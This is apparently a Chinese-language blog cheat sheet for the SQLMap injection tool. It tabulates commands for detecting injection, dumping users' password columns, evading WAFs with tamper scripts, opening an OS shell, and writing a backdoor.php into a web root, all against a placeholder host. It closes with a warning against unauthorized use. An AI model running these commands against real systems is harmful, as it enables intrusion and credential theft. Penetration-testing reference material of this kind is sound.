SQLMap 自动化 SQL 注入工具
SQLMap 自动化 SQL 注入工具
一、🔍 核心功能与命令选项
(一)基础检测类 🧪
| 任务分类 | 命令选项 | 说明 | 示例命令 |
|---|---|---|---|
| 检测注入点 | -u <url> |
指定目标 URL | sqlmap -u "http://x.com/index.php?id=1" --batch |
| POST 请求注入 | --data |
提交 POST 数据 | sqlmap -u "http://x.com/login.php" --data="user=admin&pass=123" |
| Cookie 注入 | --cookie |
携带 Cookie 信息 | sqlmap -u "http://x.com" --cookie="PHPSESSID=123" |
| 强制 dbms | --dbms=<类型> |
强制指定数据库类型 | sqlmap -u "...?id=1" --dbms=mysql |
| 绕过 WAF | --tamper=<脚本> |
使用 Tamper 脚本 | sqlmap -u "...?id=1" --tamper=charunicodeencode |
(二)数据枚举类 📚
| 任务分类 | 命令选项 | 说明 | 示例命令 |
|---|---|---|---|
| 枚举所有数据库 | --dbs |
列出目标所有数据库 | sqlmap -u "...?id=1" --dbs |
| 枚举指定数据库表 | -D <db> --tables |
列出指定数据库的表 | sqlmap -u "...?id=1" -D mydb --tables |
| 枚举字段 | -D <db> -T <table> --columns |
列出表字段 | sqlmap -u "...?id=1" -D mydb -T users --columns |
| 导出字段数据 | -D <db> -T <table> -C <cols> --dump |
指定字段并导出 | sqlmap -u "...?id=1" -D mydb -T users -C username,password --dump |
| 获取数据库用户 | --users |
获取数据库用户信息 | sqlmap -u "...?id=1" --users |
(三)高级操作类 🛠️
| 任务分类 | 命令选项 | 说明 | 示例命令 |
|---|---|---|---|
| 获取系统 Shell | --os-shell |
打开 OS Shell(高权限需) | sqlmap -u "...?id=1" --os-shell |
| 上传文件 | --file-write/--file-dest |
上传文件到目标服务器 | sqlmap -u "...?id=1" --file-write=backdoor.php --file-dest=/var/www/html/backdoor.php |
| 权限提升 | --priv-esc |
数据库用户权限提升尝试 | sqlmap -u "...?id=1" --priv-esc |
| 执行系统命令 | --os-cmd="<命令>" |
执行系统命令 | sqlmap -u "...?id=1" --os-cmd="whoami" |
二、🎯 实用场景命令示例
✅ 基础注入检测
1 | |
📚 数据枚举与导出
1 | |
🧨 高级渗透操作
1 | |
三、🎛️ 关键参数与使用技巧
📏 检测控制
| 参数 | 说明 |
|---|---|
--level=1~5 |
设置检测深度(默认 1),高等级检测更多参数 |
--risk=1~3 |
设置风险等级(默认 1),高等级尝试更危险 payload |
--random-agent |
使用随机 UA,减少被识别为工具概率 |
🧰 调试与代理支持
| 参数 | 功能 |
|---|---|
--proxy="http://127.0.0.1:8080" |
配合 Burp 抓包调试 |
-v 0~6 |
日志输出详细程度(如 -v 3 显示 payload) |
--flush-session |
清除缓存,重新检测 |
🕳️ 绕过防护技巧
| 脚本名 | 说明 |
|---|---|
apostrophemask |
编码单引号绕过 |
base64encode |
对 Payload Base64 编码绕过 |
space2comment |
使用注释代替空格(如:SELECT/**/1) |
示例:
1 | |
四、📌 常用命令速查表
| 功能 | 示例命令 |
|---|---|
| 基础检测 | sqlmap -u "http://x.com/?id=1" |
| POST 注入 | sqlmap -u "http://x.com/login.php" --data="user=admin&pass=123" |
| 枚举数据库 | sqlmap -u "...?id=1" --dbs |
| 枚举表与字段 | -D mydb --tables、-T users --columns |
| 导出数据 | -D db -T table -C col1,col2 --dump |
| 获取系统 Shell | --os-shell |
| 绕过 WAF | --tamper=base64encode |
✅ 总结与建议
- 🔐 切勿在未授权目标上使用 SQLMap!
- 🔄 推荐使用
--batch避免交互中断,适合脚本化执行。 - 🧪 利用
-r加载 Burp 捕获的请求文件,更真实模拟攻击场景。 - 📌 常用指令可整理成脚本,提升实战效率。
SQLMap 自动化 SQL 注入工具
https://bae-ace.github.io/2025/07/21/SQLMap-自动化-SQL-注入工具/